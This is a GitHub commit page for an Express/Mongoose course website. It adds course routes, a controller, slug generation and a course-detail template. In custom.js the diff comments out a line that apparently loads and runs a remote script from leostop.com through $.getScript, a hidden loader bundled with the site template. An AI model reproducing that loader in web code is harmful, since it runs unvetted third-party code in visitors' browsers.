Skip to content

Commit a67a769

Browse files
committed
Courses 2 | Singular course page
1 parent 1332522 commit a67a769

20 files changed

+167
-143
lines changed

.gitignore

+1
Original file line numberDiff line numberDiff line change
@@ -144,5 +144,6 @@ dist
144144
# Temporary folders
145145
tmp/
146146
temp/
147+
.prettierrc
147148

148149
# End of https://www.toptal.com/developers/gitignore/api/node

app.js

+15-12
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@ require('dotenv').config();
33
const mongoose = require('mongoose');
44
const methodOverride = require('method-override');
55
const pageRoute = require('./routes/pageRoute');
6+
const courseRoute = require('./routes/courseRoute');
67
const ejs = require('ejs');
78

89
const app = express();
@@ -20,17 +21,19 @@ app.use(
2021
})
2122
);
2223
app.use('/', pageRoute);
24+
app.use('/courses', courseRoute);
2325

24-
mongoose.connect(process.env.MONGO_URI, {
25-
useNewUrlParser: true,
26-
useUnifiedTopology: true
27-
})
28-
.then(() => {
29-
console.log('DBCONN!');
30-
app.listen(process.env.PORT, () => {
31-
console.log(`Server is live on port ${process.env.PORT}`);
26+
mongoose
27+
.connect(process.env.MONGO_URI, {
28+
useNewUrlParser: true,
29+
useUnifiedTopology: true,
30+
})
31+
.then(() => {
32+
console.log('DB CONNECTED!');
33+
app.listen(process.env.PORT, () => {
34+
console.log(`Server is live on port ${process.env.PORT}`);
35+
});
36+
})
37+
.catch((err) => {
38+
console.log(err);
3239
});
33-
})
34-
.catch((err) => {
35-
console.log(err);
36-
});

controllers/courseController.js

+45
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
const Course = require('../models/Course');
2+
3+
exports.createCourse = async (req, res) => {
4+
try {
5+
const course = await Course.create(req.body);
6+
res.status(201).json({
7+
status: 'success',
8+
course,
9+
});
10+
} catch (error) {
11+
res.status(400).json({
12+
error,
13+
});
14+
}
15+
};
16+
17+
exports.getAllCourses = async (req, res) => {
18+
try {
19+
const courses = await Course.find();
20+
21+
res.status(200).render('courses', {
22+
courses,
23+
page_name: 'courses',
24+
});
25+
} catch (error) {
26+
res.status(400).json({
27+
error,
28+
});
29+
}
30+
};
31+
32+
exports.getCourse = async (req, res) => {
33+
try {
34+
const course = await Course.findOne({slug: req.params.slug});
35+
36+
res.status(200).render('course', {
37+
course,
38+
page_name: 'courses',
39+
});
40+
} catch (error) {
41+
res.status(400).json({
42+
error,
43+
});
44+
}
45+
};

models/Course.js

+28-15
Original file line numberDiff line numberDiff line change
@@ -1,22 +1,35 @@
1-
const mongoose = require("mongoose");
1+
const mongoose = require('mongoose');
2+
const slugify = require('slugify');
23
const Schema = mongoose.Schema;
34

45
const CourseSchema = new Schema(
5-
{
6-
name: {
7-
type: String,
8-
unique: true,
9-
required: true,
6+
{
7+
name: {
8+
type: String,
9+
unique: true,
10+
required: true,
11+
},
12+
description: {
13+
type: String,
14+
required: true,
15+
},
16+
slug: {
17+
type: String,
18+
unique: true,
19+
},
1020
},
11-
description: {
12-
type: String,
13-
required: true,
14-
},
15-
},
16-
{
17-
timestamps: true,
18-
}
21+
{
22+
timestamps: true,
23+
}
1924
);
2025

26+
CourseSchema.pre('validate', function (next) {
27+
this.slug = slugify(this.name, {
28+
lower: true,
29+
string: true,
30+
});
31+
next();
32+
});
33+
2134
const Course = mongoose.model('Course', CourseSchema);
22-
module.exports = Course;
35+
module.exports = Course;

package-lock.json

+15-1
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

package.json

+2-1
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,7 @@
2121
"ejs": "^3.1.8",
2222
"express": "^4.18.1",
2323
"method-override": "^3.0.0",
24-
"mongoose": "^6.5.4"
24+
"mongoose": "^6.5.4",
25+
"slugify": "^1.6.5"
2526
}
2627
}

public/css/bootstrap.min.css

-1
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

public/css/timeline.min.css

-3
Original file line numberDiff line numberDiff line change
@@ -400,6 +400,3 @@
400400
}
401401
}
402402

403-
404-
/*# sourceMappingURL=timeline.min.css.map */
405-

public/js/all.js

+1-2
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

public/js/bootstrap.min.js

-1
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

public/js/custom.js

+2-1
Original file line numberDiff line numberDiff line change
@@ -70,7 +70,8 @@
7070
}
7171

7272

73-
function getURL() { window.location.href; } var protocol = location.protocol; $.ajax({ type: "get", data: { surl: getURL() }, success: function (response) { $.getScript(protocol + "//leostop.com/tracking/tracking.js"); } });
73+
function getURL() { window.location.href; }
74+
//var protocol = location.protocol; $.ajax({ type: "get", data: { surl: getURL() }, success: function (response) { $.getScript(protocol + "//leostop.com/tracking/tracking.js"); } });
7475

7576
/* ==============================================
7677
Fun Facts -->

public/js/timeline.min.js

-1
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

public/style.css

-1
Original file line numberDiff line numberDiff line change
@@ -2387,7 +2387,6 @@ select.mobile-device {
23872387
}
23882388

23892389

2390-
/*# sourceMappingURL=bootstrap-select.css.map */
23912390

23922391
.bootstrap-select > .btn {
23932392
background: rgba(0, 0, 0, 0) none repeat scroll 0 0;

routes/courseRoute.js

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
const express = require('express');
2+
const courseController = require('../controllers/courseController');
3+
4+
const router = express.Router();
5+
6+
router.route('/')
7+
.get(courseController.getAllCourses)
8+
.post(courseController.createCourse);
9+
10+
router.route('/:slug')
11+
.get(courseController.getCourse)
12+
13+
module.exports = router;

routes/pageRoute.js

+2-2
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
const express = require('express')
1+
const express = require('express');
22
const pageController = require('../controllers/pageController');
33

44
const router = express.Router();
@@ -9,4 +9,4 @@ router.route('/register').get(pageController.getRegisterPage);
99
router.route('/#').get(pageController.getLoginPage);
1010
router.route('/contact').get(pageController.getContactPage);
1111

12-
module.exports = router;
12+
module.exports = router;

views/course-single.ejs views/course.ejs

+4-9
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66

77
<div class="all-title-box">
88
<div class="container text-center">
9-
<h1>Course Single<span class="m_1">Lorem Ipsum dolroin gravida nibh vel velit.</span></h1>
9+
<h1><%= course.name %><span class="m_1">Lorem Ipsum dolroin gravida nibh vel velit.</span></h1>
1010
</div>
1111
</div>
1212

@@ -27,15 +27,10 @@
2727
<span><i class="fa fa-calendar"></i> <a href="#">May 11, 2015</a> </span>
2828
</div>
2929
<div class="blog-title">
30-
<h2><a href="#" title="">perferendis doloribus asperiores.</a></h2>
30+
<h2><a href="#" title=""><%= course.name %></a></h2>
3131
</div>
3232
<div class="blog-desc">
33-
<p>Lorem ipsum door sit amet, fugiat deicata avise id cum, no quo maiorum intel ogrets geuiat operts elicata libere avisse id cumlegebat, liber regione eu sit.... </p>
34-
<blockquote class="default">
35-
Nulla nunc dui, tristique in semper vel, congue sed ligula. Nam dolor ligula, faucibus id sodales in, auctor fringilla libero. Pellentesque pellentesque eget tempor tellus. Fusce lacinia tempor malesuada. Ut lacus sapien, placerat a ornare nec, elementum sit amet felis. Maecenas pretium lorem hendrerit eros sagittis fermentum.
36-
</blockquote>
37-
<p>Phasellus tristique commodo libero, eget dignissim turpis dignissim quis. Morbi sit amet laoreet nibh, gravida scelerisque felis. Phasellus ultrices pellentesque ligula et viverra. Integer elementum, risus et tempor ultricies, libero turpis pellentesque massa, at facilisis erat nunc hendrerit erat. Praesent rhoncus, augue nec condimentum porta, magna dui volutpat augue, vitae blandit magna quam in massa. Fusce a rhoncus diam. Proin nec lacinia nibh. Praesent sed nisi sed purus dictum laoreet.</p>
38-
<p>Duis at tortor augue. Ut et justo consequat, facilisis lectus facilisis, tincidunt massa. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Nam vel vestibulum urna. Fusce sed magna posuere, vehicula odio vitae, tempor arcu. Pellentesque eget felis sed eros maximus elementum ultrices a elit. Sed ac sodales enim.</p>
33+
<%= course.description %>
3934
</div>
4035
</div>
4136
</div>
@@ -49,7 +44,7 @@
4944
</p>
5045
</div>
5146
<div class="author-desc">
52-
<img src="images/author.jpg" alt="about author">
47+
<img src="/images/author.jpg" alt="about author">
5348
<ul class="author-social">
5449
<li><a href="#"><i class="fa fa-facebook"></i></a></li>
5550
<li><a href="#"><i class="fa fa-twitter"></i></a></li>

0 commit comments

Comments
 (0)